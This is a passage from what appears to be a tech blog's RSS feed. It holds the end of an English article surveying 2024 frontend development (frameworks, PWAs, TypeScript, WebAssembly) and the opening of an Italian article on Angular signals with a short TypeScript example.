-2-3l-1%203-2%202v-2l-1-2h-1v1c0%203-2%204-3%202v-1l1-1h-1l-1-1v-1l-1%203-1%202-2-5-1-2-1%203c1%204-1%205-3%203v-6c-1%200-2%201-2%204m50%2011v7l1%206h39v-14h-20l-20%201m44%206v7h40v-13l-20-1h-20v7m43%200v7h40v-13l-20-1h-20v7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c85cb/web-frameworks-features.webp 300w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/e88ff/web-frameworks-features.webp 600w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/92f8c/web-frameworks-features.webp 1200w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/62ed8/web-frameworks-features.webp 1800w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/882b9/web-frameworks-features.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/5a46d/web-frameworks-features.png 300w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/0a47e/web-frameworks-features.png 600w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c1b63/web-frameworks-features.png 1200w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/d61c2/web-frameworks-features.png 1800w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/29114/web-frameworks-features.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 6 - Web Frameworks convergence&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c1b63/web-frameworks-features.png&quot; title=&quot;Image 6 - Web Frameworks convergence&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 6 - Web Frameworks convergence&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/29114/web-frameworks-features.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M138%2029v7l1%206h39V28h-20l-20%201m87%206v7h40V28h-40v7M91%2030v6l1%205h13c16%200%2016%200%2016-6s0-6-15-6l-15%201m32%200l-1%205v5h10l1-5v-5l-5-1-5%201m16%2016l-1%207%201%207h39V46h-39m43%200v14h40v-6l-1-7c-1-1-38-2-39-1m43%201v7l1%206h39v-7l-1-7c-15-1-38%200-39%201m54-1l-1%207%201%207h39V46h-39M95%2052c0%207%200%207%2013%207%2012%200%2013-1%2013-6%200-6%200-6-14-6H95v5m28-4l-1%205v5h11V48l-5-1-5%201m15%2016v8l1%206h39V64l-20-1-20%201m44%206l1%208h18c21%200%2021%200%2021-7%200-8%201-8-21-8h-19v7m43-6v8l1%206h39V64l-20-1-20%201M94%2070l1%206h12c14%200%2015%200%2014-8v-2l-14-1H94v5m28%200l1%206h10V65h-11v5m-65-2l-1%204v3h27v-5h-2l-1-1v5c-1%200-2-1-1-2%200-2%200-2-1%200h-2l1-2-1-2c-1-1-1%200-1%203s0%203-1%201c0-4-4-4-3%200l-1%202-2-3-1-2v3l-1%202-1-2c0-2-3-4-4-2h-2v2l-1%201c-2-1-1-4%201-4v-1h-2m81%2014v7l1%206h39V81h-20l-20%201m44%206v7h40V82l-20-1h-20v7m-84-5v6l1%205h10l11-1V83c-2-2-21-1-22%200m24%205l1%206h10V83h-11v5m-80%201v4h23c22%200%2023%200%2023-2l-1-2v-1c1-1%201-1-1-1s-2%200-2%203v2l-1-3c0-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201%201%203%200%203-2%203-3%200-4%200-3-3%200-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201v3l-1-2c0-2-1-3-2-3l-2%201-1%201c-2%200-2%200-1%201l-1%201h-1v1c-1%200-2-1-1-3%200-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201%201%202%200%203-1%203v-1l-1-1-3-2-3-1c-1%201-2%200-2-1-2-3-4-1-4%203m96%2017l1%207h39V99h-40v7m87%200v7h40V99h-40v7m-115-5l-1%205v5h11v-10l-5-1-5%201m13%200l-1%205v5h11v-10l-5-1-5%201m15%2016v8l1%206h39v-14l-20-1-20%201m45%200l-1%207v7h19c22%200%2021%200%2021-7%200-8%201-8-20-8l-19%201m-61%202v6l1%204h10v-11h-5l-6%201m-47%205v3l14%201c13%200%2014%200%2013-2-2%200-2-1-1-1l1-1h-1l-1-1v-1l-1%203-2%202c-2%200-3-2-1-4v-1c-1%200-2%201-2%203l-2%202c-2%200-3-2%200-2%202-1%201-4-1-4s-2%201-2%203%200%203-2%202v-1l1-1h-1l-1-1h-3l-1%201c-1%202-1%202-1%200%200-1%200-2-1-1l-1-1h-2l-1%201-1-2v3m64%2011l-1%207v6h40v-14h-19l-20%201m43%206v7h40v-13l-20-1h-20v7m43%200v7h40v-13l-20-1h-20v7m-103%200l1%206h10v-11h-11v5m16%2012v7l1%206h39v-14h-20l-20%201m44%206v7h40v-13l-20-1h-20v7m43%200v7h40v-14h-40v7m-103-5v6l1%205h10v-11l-5-1-6%201m17%2016l-1%207%201%207h39v-14l-19-1-20%201m44%200l-1%207v7h19c17%200%2020%200%2020-2v-12c-1-1-37-2-38%200m42%200v8l1%206h39v-7l-1-7c-3-2-38-1-39%200m-86%2018l-1%207c0%207-1%207%2022%207h18v-14l-20-1-19%201m43%206l1%208h18c21%200%2021%200%2021-7%200-8%201-8-21-8h-19v7m-94%201l-1%204h19c11%200%2019%200%2018-1v-5l-1%201h-1c-2-1-2-1-1%202%201%202%201%202-1%202-1%200-2-1-2-3l-1-2v3l-1%202-1-2c0-4-4-4-4%200l-1%203v-3c0-2%200-3-2-3l-1%203-2%202v-2l-1-2h-1v1c0%203-2%204-3%202v-1l1-1h-1l-1-1v-1l-1%203-1%202-2-5-1-2-1%203c1%204-1%205-3%203v-6c-1%200-2%201-2%204m50%2011v7l1%206h39v-14h-20l-20%201m44%206v7h40v-13l-20-1h-20v7m43%200v7h40v-13l-20-1h-20v7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c85cb/web-frameworks-features.webp 300w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/e88ff/web-frameworks-features.webp 600w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/92f8c/web-frameworks-features.webp 1200w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/62ed8/web-frameworks-features.webp 1800w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/882b9/web-frameworks-features.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/5a46d/web-frameworks-features.png 300w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/0a47e/web-frameworks-features.png 600w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c1b63/web-frameworks-features.png 1200w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/d61c2/web-frameworks-features.png 1800w,/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/29114/web-frameworks-features.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 7 - Developer experience in web frameworks  &quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/c1b63/web-frameworks-features.png&quot; title=&quot;Image 7 - Developer experience in web frameworks  &quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 7 - Developer experience in web frameworks  &lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Here is a list of the most famous and valuable resources by category:&lt;/p&gt;&lt;p&gt;Modern React frameworks:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://remix.run&quot;&gt;Remix (React)&lt;/a&gt;, &lt;a href=&quot;https://nextjs.org&quot;&gt;Next.js (React)&lt;/a&gt;, &lt;a href=&quot;https://nuxt.com&quot;&gt;Nuxt (Vue)&lt;/a&gt;, &lt;a href=&quot;https://www.gatsbyjs.com&quot;&gt;Gatsby (React)&lt;/a&gt;, &lt;a href=&quot;https://docusaurus.io&quot;&gt;Docusaurus (React)&lt;/a&gt; , &lt;a href=&quot;https://vitejs.dev&quot;&gt;Vite (agnostic)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Other web frameworks:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://kit.svelte.dev&quot;&gt;SvelteKit (Svelte)&lt;/a&gt;, &lt;a href=&quot;https://vuepress.vuejs.org&quot;&gt;VuePress (Vue)&lt;/a&gt;, &lt;a href=&quot;https://start.solidjs.com&quot;&gt;SolidStart (Solid) (beta)&lt;/a&gt;, &lt;a href=&quot;https://www.11ty.dev&quot;&gt;Eleventy&lt;/a&gt;, &lt;a href=&quot;https://github.com/phoenixframework/phoenix_live_view&quot;&gt;Phoenix LiveView (Elixir/Erlang)&lt;/a&gt;&lt;/p&gt;&lt;h2 id=&quot;hybrid-application-development-a-codebase-to-rule-them-all&quot;&gt;Hybrid Application Development, A codebase to rule them all&lt;/h2&gt;&lt;p&gt;In the realm of mobile development, a significant shift towards hybrid application development is underway. A notable development in this field is the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Progressive_web_apps&quot;&gt;PWA (Progressive Web Applications)&lt;/a&gt;. PWAs are essentially web applications that, when opened through a mobile browser, offer an experience similar to native applications. These can be added to the device&amp;#x27;s home screen and, more recently, on Apple devices as well. PWAs have the capability to send notifications and perform most functions of native apps. They are gaining popularity due to their no-installation requirement, minimal device storage footprint, and reduced dependence on device specifications for performance.&lt;/p&gt;&lt;p&gt;If PWAs don&amp;#x27;t seem like the ideal solution for your project, the logical choice is to opt for hybrid platform development, enabling the use of a single codebase to create executables for both Android and iOS. Utilizing frameworks such as React Native offers the flexibility to develop an application for different operating systems in one place. Moreover, this approach allows for easier developer sharing across projects, as a React expert can readily acquire the skills necessary for &lt;a href=&quot;https://reactnative.dev/&quot;&gt;React Native&lt;/a&gt; development, and vice versa.&lt;/p&gt;&lt;p&gt;Finally, it&amp;#x27;s worth mentioning that there are specific scenarios where it&amp;#x27;s still advantageous to develop an application for a single operating system. Applications like editing, design, and drawing, or any other resource-intensive applications, benefit from being developed with lower-level frameworks that fully exploit the device&amp;#x27;s performance. In such cases, &lt;a href=&quot;https://developer.android.com/studio?hl=it&quot;&gt;Android Studio&lt;/a&gt; with Kotlin and &lt;a href=&quot;https://www.apple.com/it/swift/&quot;&gt;Swift&lt;/a&gt; in the Apple ecosystem remain unbeatable choices.### L&amp;#x27;ascesa di Typescript, WASM all&amp;#x27;orizzonte&lt;/p&gt;&lt;h2 id=&quot;the-rise-of-typescript-wasm-is-on-the-horizon&quot;&gt;The Rise of TypeScript, WASM is on the Horizon&lt;/h2&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e2b73fff74bc7090be2e7b701826a28d/29114/languages.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M148%2042c-4%202-7%205-7%207l-17%201h-17v50h51V80c0-17%200-20%202-21%202-3%202-11-1-13-4-4-8-5-11-4m111%2033v25h50V83l-1-18h-5l-1-2-2-1c-1-1-2-2-3-1v-1c0-2%200-2-2-1v-4l-1-2v-1c2%200%202%200%200-1-2-3-3-2-5%201-3%205-11%203-11-2l-9-1h-10v26m-141-1c0%203%201%204%204%204h3v9c0%209%200%209%203%209%202%200%202%200%202-9V77h3c2%200%203%200%203-2s0-2-8-2l-10%201m23%201c-4%203-2%208%205%2012%203%202%204%204%201%205l-5-1c-3-2-5%200-3%203%205%204%2015%202%2015-4%200-2-5-8-7-8-3%200-4-2-3-4h3c3%202%206%200%203-3-2-2-6-3-9%200m130%203l2%209c2%209%204%2010%206%201l1-5%201%205c2%209%205%208%207-2%202-9%202-10%201-10l-3%206-2%207-1-7c-2-9-4-8-6%204-1%202-1%201-3-5-1-5-3-7-3-3m23-1l-4%2016c0%202%203%201%204-1%200-1%201-2%203-2l4%202c0%202%203%203%203%201%200-5-5-17-7-17l-3%201M65%20124l-8%201c-1%200-2%208%200%208l1-1h2l4-1h4c2%200%203-2%203-6%200-2-5-3-6-1m244%201c-6%201-8%202-8%206%200%202%201%202%208%201l1-1v-3l1%202c0%202%201%203%203%201%202-1%202-3%202-5v-3l-7%202m-226%202h-3c0-1-1-1-1%201-1%201-1%202-3%201l-1%201v2l-1%201-2%201c1%201-2%203-2%202l-1%201-2%202-1%203v2c-2%200-3%202-1%203v9c1%200%202%201%201%202l1%202%201%203%202%201%201%202%202%202%202%201%201%202%203%201%202%201c1-1%202%200%202%201h9c1%202%203%201%203-1h2l3-1c0-1%201-2%202-1l2-1%202-2%201-2%202-2%201-2c-1-1%200-1%201-2%202%200%202-1%201-1-1-1-1-3%201-3%201%200%202-2%200-3v-6c2-1%201-3%200-3-2%200-2-1-1-3%201-1%201-1-1-1-1-1-2-2-1-3l-1-2-2-1-1-2-2-2-2-1c-1%201-2%200-3-1%200-2%200-2-1-1h-3c0-2-2-3-3-1h-6c-1-2-3-1-3%201m178%204l15%2026%204-6%204-6%204%206%204%206a176%20176%200%200010-19h-1c0-1-1-2-2-1v-3l-2%202c-1%202-1%201-3-2l-2-4h-16l-15%201m-181%203l-4%203h10c11%200%2014%201%2015%205v5c-2%202-2%202-1%205%202%203%204%204%205%201l1-2c2%200%201-3-1-4s-2-2-1-4c2-3-1-6-6-9-4-2-5-2-7-1-2%202-3%202-4%200-2-2-3-1-7%201m100%2021c0%208-1%2011-4%209-5-2-7%202-3%204%203%203%208%202%2010%200s2-3%202-11c0-10%200-10-2-10-3%200-3%200-3%208m10-6c-4%203-2%208%203%2011l4%204h-5c-2-2-5%200-4%202%201%204%209%205%2013%202%204-5%202-10-5-12-4-2-4-4%200-4%205%201%206-1%203-3-2-3-7-2-9%200m-105%205l3%201c2%200%202%200%202%203v3h-8c-4%200-6%200-5%201l4%202c2%206%2014%206%2016%200l4-2c2%200%201-1-2-1-4%200-5-1-7-6-1-3-7-4-7-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/e2b73fff74bc7090be2e7b701826a28d/c85cb/languages.webp 300w,/static/e2b73fff74bc7090be2e7b701826a28d/e88ff/languages.webp 600w,/static/e2b73fff74bc7090be2e7b701826a28d/92f8c/languages.webp 1200w,/static/e2b73fff74bc7090be2e7b701826a28d/62ed8/languages.webp 1800w,/static/e2b73fff74bc7090be2e7b701826a28d/882b9/languages.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/e2b73fff74bc7090be2e7b701826a28d/5a46d/languages.png 300w,/static/e2b73fff74bc7090be2e7b701826a28d/0a47e/languages.png 600w,/static/e2b73fff74bc7090be2e7b701826a28d/c1b63/languages.png 1200w,/static/e2b73fff74bc7090be2e7b701826a28d/d61c2/languages.png 1800w,/static/e2b73fff74bc7090be2e7b701826a28d/29114/languages.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 8 - Languages and Standard &quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/e2b73fff74bc7090be2e7b701826a28d/c1b63/languages.png&quot; title=&quot;Image 8 - Languages and Standard &quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 8 - Languages and Standard &lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;In recent years, there has been a true revolution in the realm of languages and standards used in web and frontend development. An indispensable reference point in this context is &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;TypeScript&lt;/a&gt;, which has become essential in frontend development and a fundamental language to be acquainted with. It&amp;#x27;s worth noting that many of the previously mentioned technologies were developed using TypeScript. JavaScript itself is continually evolving, introducing numerous new features, including new methods for array management and &lt;a href=&quot;https://tc39.es/proposal-temporal/docs/&quot;&gt;Temporal&lt;/a&gt;, a replacement for &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date&quot;&gt;Date&lt;/a&gt; that offers more intuitive methods for date management and conversion.&lt;/p&gt;&lt;p&gt;Another revolution in the world of web development is represented by &lt;a href=&quot;https://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt;, which introduces a new standard for code compilation, utilizing the browser itself as the runtime. Each programming language is executed differently: low-level languages like C, C++, Golang, and Rust are compiled and executed directly by the operating system, ensuring efficiency. On the other hand, languages like Java, C#, and the .NET world are compiled into intermediate bytecode, which is then executed by a virtual machine or runtime. Finally, high-level languages like scripting languages (e.g., JavaScript, Python, Ruby, PHP) are executed just-in-time, an approach that is generally less efficient. WebAssembly allows each language to be compiled into bytecode (WebAssembly), enabling all browsers equipped with the appropriate runtime to execute it, saving resources and providing faster applications.&lt;/p&gt;&lt;p&gt;Another significant innovation in the web world is &lt;a href=&quot;https://www.w3.org/TR/webgpu/&quot;&gt;WebGPU&lt;/a&gt;, a standard that enables browsers to leverage the immense computational power of GPUs. This opens the door to all web applications that require high performance and substantial resource usage.&lt;/p&gt;&lt;p&gt;Finally, it&amp;#x27;s worth mentioning the progress of the &lt;a href=&quot;https://www.rust-lang.org/&quot;&gt;Rust&lt;/a&gt; language, which, thanks to frameworks like &lt;a href=&quot;https://rocket.rs/&quot;&gt;Rocket&lt;/a&gt;, &lt;a href=&quot;https://github.com/http-rs/tide&quot;&gt;Tide&lt;/a&gt;, and &lt;a href=&quot;https://github.com/nickel-org/nickel.rs&quot;&gt;Nickel&lt;/a&gt;, is making its way into the world of frontend development. This evolution allows for the creation of highly secure and performant applications.&lt;/p&gt;&lt;h2 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h2&gt;&lt;p&gt;In conclusion, it&amp;#x27;s evident that the world of frontend development in 2024 is vast and continually expanding. While this breadth may appear daunting, becoming a frontend developer has never been more accessible. Cohesive communities, a wide array of libraries and frameworks to explore, all supported by the constant introduction of new standards and technologies, make it an exciting field to be part of. After mastering the fundamentals (HTML, CSS, and JavaScript), a vast ocean of opportunities opens up, and there is undoubtedly something that will suit your style.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[I segnali arrivano su Angular]]></title><link>https://techblog.smc.iti-segnali-arrivano-su-angular</link><guid isPermaLink="false">https://techblog.smc.iti-segnali-arrivano-su-angular</guid><pubDate>Mon, 27 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Di recente, è ripresa una discussione tra gli sviluppatori frontend, soprattutto quelli del mondo JavaScript, su una primitiva che presto verrà introdotta in alcuni dei più famosi framework come Angular e React: i segnali. Questo dibattito ha radici storiche e si concentra sull&amp;#x27;utilizzo dei segnali come un modo per gestire gli eventi e lo stato delle applicazioni in modo più efficiente. Si sta quindi valutando se l&amp;#x27;adozione dei segnali rappresenti l&amp;#x27;aggiunta di una feature utile per gli sviluppatori, o l&amp;#x27;ennesimo opt-in che lasciato in mani poco esperte può creare applicazioni difficili da scalare e piene di spaghetti code. Che gli sviluppatori lo vogliano o meno, i segnali sono in arrivo, e guadagnano sempre più popolarità grazie ad una sintassi chiara e semplice e alla predisposizione per la reattività. &lt;/p&gt;&lt;h2 id=&quot;la-storia-dei-segnali&quot;&gt;La storia dei segnali&lt;/h2&gt;&lt;p&gt;Nonostante la notorietà acquisita negli ultimi mesi, i segnali sono un concetto nato all&amp;#x27;inizio dell&amp;#x27;informatica, con i primi sistemi Unix che li utilizzano ancora per inviare notifiche tra processi in modo efficiente. I segnali hanno preso piede grazie alle prime ricerche svolte sulla programmazione reattiva, per poi essere implementati anche dagli amati framework dichiarativi JavaScript, spesso con nomi e logiche diverse, per permettere allo sviluppatore di gestire lo stato dell&amp;#x27;applicazione e garantire un rilevamento delle modifiche e una renderizzazione puntuale, quindi efficente. Il pioniere dell&amp;#x27;implementazione dei segnali in chiave moderna è sicuramente Solid.js, che utilizza i segnali per lo sviluppo di programmazione reattiva, consentendo l&amp;#x27;utilizzo di reattività a grana fine (ovvero in dettaglio).&lt;/p&gt;&lt;h2 id=&quot;ma-cosa-sono-i-segnali&quot;&gt;Ma cosa sono i segnali?&lt;/h2&gt;&lt;p&gt;Solid.js definisce i segnali in questo modo:&lt;/p&gt;&lt;p&gt;&amp;quot;&lt;strong&gt;&lt;em&gt;I segnali sono la pietra miliare della reattività in Solid. Contengono valori che cambiano nel tempo; quando modifichi il valore di un segnale, esso aggiorna automaticamente tutto ciò che lo utilizza.&lt;/em&gt;&lt;/strong&gt;&amp;quot;&lt;/p&gt;&lt;p&gt;I segnali sono un paradigma di programmazione ad eventi, simile a quello della DOM, che consente allo sviluppatore di generare eventi personalizzati e creare effetti nel codice all&amp;#x27;emissione di un valore. L&amp;#x27;utilizzo dei segnali offre numerosi vantaggi, tra cui la scrittura di codice semplice, reattivo e facile da mantenere. Inoltre, i segnali sono agnostici rispetto al framework utilizzato, il che significa che possono essere facilmente integrati a partire da una libreria JS vanilla.
Un segnale può essere semplicemente creato con un metodo, ad esempio &lt;code&gt;signal&lt;/code&gt; in Angular:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;MyClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;signal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;double&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;computed&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(() &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() * &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;changeCount&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In questo esempio viene creato un segnale di tipo number con valore iniziale 0, e ne viene creato uno calcolato a partire dal primo. Nel momento in cui verrà eseguita la funzione &lt;code&gt;changeCount&lt;/code&gt;, il segnale &lt;code&gt;count&lt;/code&gt; verrà aggiornato con il valore 5, mentre double diventerà 10, grazie al metodo &lt;code&gt;computed&lt;/code&gt; che ritorna un segnale a partire da un altro.
